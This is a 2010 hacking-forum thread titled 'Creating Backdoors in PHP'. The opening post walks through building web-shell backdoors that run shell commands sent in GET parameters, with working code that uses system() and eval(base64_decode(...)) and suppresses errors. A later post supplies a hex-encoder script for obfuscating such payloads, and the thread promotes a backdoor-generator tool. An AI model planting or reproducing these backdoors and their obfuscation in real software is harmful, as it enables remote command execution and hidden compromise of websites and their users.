Web Hacking & War Games Discuss f.ex. SQL injection and legal hacking here.

InterN0T Affiliates:
EvilZonepy1337

SirCapsAlot.NET

Reply
 
LinkBack (1) Thread Tools Display Modes
  1 links from elsewhere to this Post. Click to view. #1  
Old 29th January 2010, 16:12
MaXe's Avatar
The Founder
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 2,714
Blog Entries: 31
Rep Power: 10
Reputation: 146
MaXe will become a Token soonMaXe will become a Token soon
Creating Backdoors in PHP

Dear members and guests of InterN0T,


This is a small tutorial to how One could make backdoors in PHP.
The reason why a backdoor may be needed could be if your site
gets hacked but if there's no protection on the backdoor and if
a hacker finds that backdoor then your site may get hacked that
way too, so be careful with these examples.

First we need to know which functions we can use:
- System(); // Executes an external program.
- Exec(); // Executes an external program.
- Fopen(); // Opens a file on the system.
- Include(); // Includes a file to be executed.
- Eval(); // Executes PHP code.

With that in mind, we move over to how the backdoor can receive input:
- $_GET['var']; // Receives input like: file.php?var=command
- $_POST['var']; // Receives input via the POST-parameter. (LiveHTTPHeaders can be used).
- $_COOKIE['var']; // Receives input via browser-cookies.

Now we might want to encode the backdoor, a few ways are:
- Base64 encoding (base64_encode() is a builtin function).
- Encode it like shellcode: "\xDE\xAD\xBE\xEF";
- And possibly many more ways!

So lets say you want to create a backdoor which uses:
- system() + $_GET[] + base64_encode()

Before encoding anything we write the code that we want to be executed:
PHP Code:
<?php system($_GET['s3cr3t']); ?>
That's how simple it will look if it wasn't encoded.

In order to encode it we can either use an application or do it ourselves:
<?php
$var = "system(\$_GET['s3cr3t']);"; // $ needs to be escaped.
echo base64_encode($var);
?>

Which results in: c3lzdGVtKCRfR0VUWydzM2NyM3QnXSk7

In order to execute it we need the following PHP code:
PHP Code:
<?php
eval(base64_decode("c3lzdGVtKCRfR0VUWydzM2NyM3QnXSk7"));
?>
Which will work fine if we supply a GET-request to the file it is
included in all the time. Otherwise it will send an error to the site
because system() can't handle empty requests.

In order to bypass this issue we could use: error_reporting(0); in
our script. But that results in a lot more code! So why not use some-
thing easier such as @ before the command?

This should supress all warnings, from system() only of course.

Without encoding the backdoor the code would look like:
PHP Code:
<?php @system($_GET['server']); ?>
Pretty simple? I think so too and I'm glad that I haven't seen
that many problems with PHP backdoors yet since it would be
a pain to check anything you might want to use, for backdoors.

Our backdoor is at this stage very simple but also very small.

One of the first things to implement after using system() or exec()
would be sending the output to <pre></pre> tags so the output is
easy to read which is a good idea when using PHP backdoors.

The other commands we can use, fopen() and include() in short
may be used for LFI and perhaps RFI (depending on php.ini settings).

Eval() can be used to execute PHP code directly which would probably
be one of the most effective backdoors if the hacker, knows PHP of course!

That's basicly it of what you could or should know about PHP backdoors at the moment.

Update:
I've recently had some more cool ideas (which are hard to implement, yet more stealthy).
I will write about them as soon as I am done with my other projects (I have many at the
moment and there is a lot of testing with my new ideas).

Meanwhile I also created a better application in PHP for creating and encoding backdoors!

Application Link: HaXxd00r


Best regards,
MaXe
__________________
Code:
                                ____/____\_________________
                      \|/      | OMG IT'S TEH LEET STORY!! |
    /*\         /\    -*-      |______  ________/\_________|
   // \\       /  \   /|\        /    \/    \  /  \
  /// \\\     /    \            /            \/    \
   // \\     /      \          /      \o/     \     \
    | |     /        \        /        |       \     \
 ___| |____/          \______/________/ \_______\_____\_________
          /     o      \
               #"=-
               /\
 __________________________________________________________
    On a mission, to find the lost member of Teh Unkwon.. 

Last edited by MaXe; 20th February 2010 at 22:17.
Reply With Quote
  #2  
Old 29th January 2010, 18:16
Norph's Avatar
 
Join Date: Oct 2009
Location: Denmark
Posts: 233
Blog Entries: 1
Rep Power: 2
Reputation: 34
Norph is on the way to become something
Re: Creating Backdoors in PHP

nice! :)
I've considered this before, but never really thought about base64 encoding it.
Thanks for sharing. I'll look forward to see more of this coming? ;)
+rep
__________________
Men have two emotions: Hungry and Horny. If you see him without an erection, make him a sandwich.
Reply With Quote
  #3  
Old 29th January 2010, 18:20
 
Join Date: Jun 2009
Location: UK / Germany
Posts: 39
Rep Power: 4
Reputation: 26
sud0xe is on the way to become something
Re: Creating Backdoors in PHP

I see a lot of php backdoors in nulled scripts and website templates. They mostly use base64 to encode thier scripts but i have seen commercial encoders being used which are a little more complicated to decode.
Reply With Quote
  #4  
Old 1st February 2010, 13:38
MaXe's Avatar
The Founder
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 2,714
Blog Entries: 31
Rep Power: 10
Reputation: 146
MaXe will become a Token soonMaXe will become a Token soon
Re: Creating Backdoors in PHP

Here's a Hex Encoder which should output the string as valid hex-
encoding to be used in f.ex. PHP backdoors, Cross Site Scripting etc.

Please keep in mind that I haven't tested it, I just wrote it in notepad at work.
Code:
<?php

/**
* Hex Encoder 1.0 made by MaXe - Founder of InterN0T.net
**/

$usr_input = isset($_GET['text']) ? $_GET['text'] : $_GET['text']="";


if($usr_input=="") {
echo '
<html>
<head>
<title>HeX Encoder</title>
</head>
<body>
<br />
<center>
<h3>Input a string to encode</h3><br />
<form action="?" method="GET">
<input type="text" name="text" value="" />
<input type="submit" value="Encode" />
</form>
</center>
</body>
</html>
';
} else {
echo '
<html>
<head>
<title>HeX Encoder</title>
</head>
<body>
<br />
<center>
<h3>Use the output below for your PHP backdoor:</h3><br />
HexEncode($usr_input);
<br /><br />
For example, this should work: <br />
eval("'. HexEncode($usr_input); .'");
</center>
</body
</html>
';
}

function HexEncode($String) {
for ($i = 0; $i < strlen($String); $i++)
    {
        $HexChar = bin2hex($String[$i]);
        echo "\\x" .$HexChar;
    }
}

?>
In short it will output the string like:

\xDE\xAD\xBE\xEF etc and also give an example of how
it can be used like: eval("\xDE\xAD\xBE\xEF");

I might make an encoder for PHP backdoors in the future, just for fun xD
__________________
Code:
                                ____/____\_________________
                      \|/      | OMG IT'S TEH LEET STORY!! |
    /*\         /\    -*-      |______  ________/\_________|
   // \\       /  \   /|\        /    \/    \  /  \
  /// \\\     /    \            /            \/    \
   // \\     /      \          /      \o/     \     \
    | |     /        \        /        |       \     \
 ___| |____/          \______/________/ \_______\_____\_________
          /     o      \
               #"=-
               /\
 __________________________________________________________
    On a mission, to find the lost member of Teh Unkwon.. 

Last edited by MaXe; 2nd February 2010 at 17:45.
Reply With Quote
  #5  
Old 19th February 2010, 16:10
BuRner's Avatar
 
Join Date: Oct 2009
Location: Belgium
Posts: 13
Rep Power: 2
Reputation: 1
BuRner is an unknown memory address at this point
Re: Creating Backdoors in PHP

Nice script, just the ';' which must be deleted line 41 after the function call ;)
Reply With Quote
  #6  
Old 20th February 2010, 12:47
Except1onX's Avatar
 
Join Date: Dec 2009
Location: M........
Posts: 59
Rep Power: 2
Reputation: 35
Except1onX is on the way to become something
Re: Creating Backdoors in PHP

Nice app u made there MaXe. xD
__________________
Enter Username:
Enter Password:
Wooo – The username and password are correct! exiting
Reply With Quote
  #7  
Old 20th February 2010, 22:15
MaXe's Avatar
The Founder
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 2,714
Blog Entries: 31
Rep Power: 10
Reputation: 146
MaXe will become a Token soonMaXe will become a Token soon
Re: Creating Backdoors in PHP

There's a new app out Except1onX

Link: HaXxd00r ;-D
__________________
Code:
                                ____/____\_________________
                      \|/      | OMG IT'S TEH LEET STORY!! |
    /*\         /\    -*-      |______  ________/\_________|
   // \\       /  \   /|\        /    \/    \  /  \
  /// \\\     /    \            /            \/    \
   // \\     /      \          /      \o/     \     \
    | |     /        \        /        |       \     \
 ___| |____/          \______/________/ \_______\_____\_________
          /     o      \
               #"=-
               /\
 __________________________________________________________
    On a mission, to find the lost member of Teh Unkwon.. 
Reply With Quote
  #8  
Old 21st February 2010, 10:11
ne011's Avatar
 
Join Date: May 2009
Location: 127.0.0.1
Posts: 44
Rep Power: 4
Reputation: 67
ne011 will become a Token soon
Re: Creating Backdoors in PHP

Quote:
Originally Posted by MaXe View Post
There's a new app out Except1onX

Link: HaXxd00r ;-D



that is cool Maxe
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are On


LinkBacks (?)
LinkBack to this Thread: http://forum.intern0t.net/web-hacking-war-games/2192-creating-backdoors-php.html
Posted By For Type Date
HackTalk - Your Micro-Social Network This thread Refback 31st January 2010 13:03

Similar Threads
Thread Thread Starter Forum Replies Last Post
[Question] Backdoors. Seeker General Hacking Discussions 16 15th September 2009 11:28
Creating and working with dll's Tsukasa C# // .NET 0 26th January 2009 03:42
Creating bootable USB drives for capturing the contents of memory Drathnar General Security Discussions 1 12th November 2008 10:42
creating malicious images HybriD Offensive Guides & Information 5 11th October 2008 21:36
Backdoors Drathnar Offensive Guides & Information 1 30th September 2008 17:25


All times are GMT +2. The time now is 09:57.
Copyright ©2007 - Forever, InterN0T & Teh Unkwon

Hosted by 1and1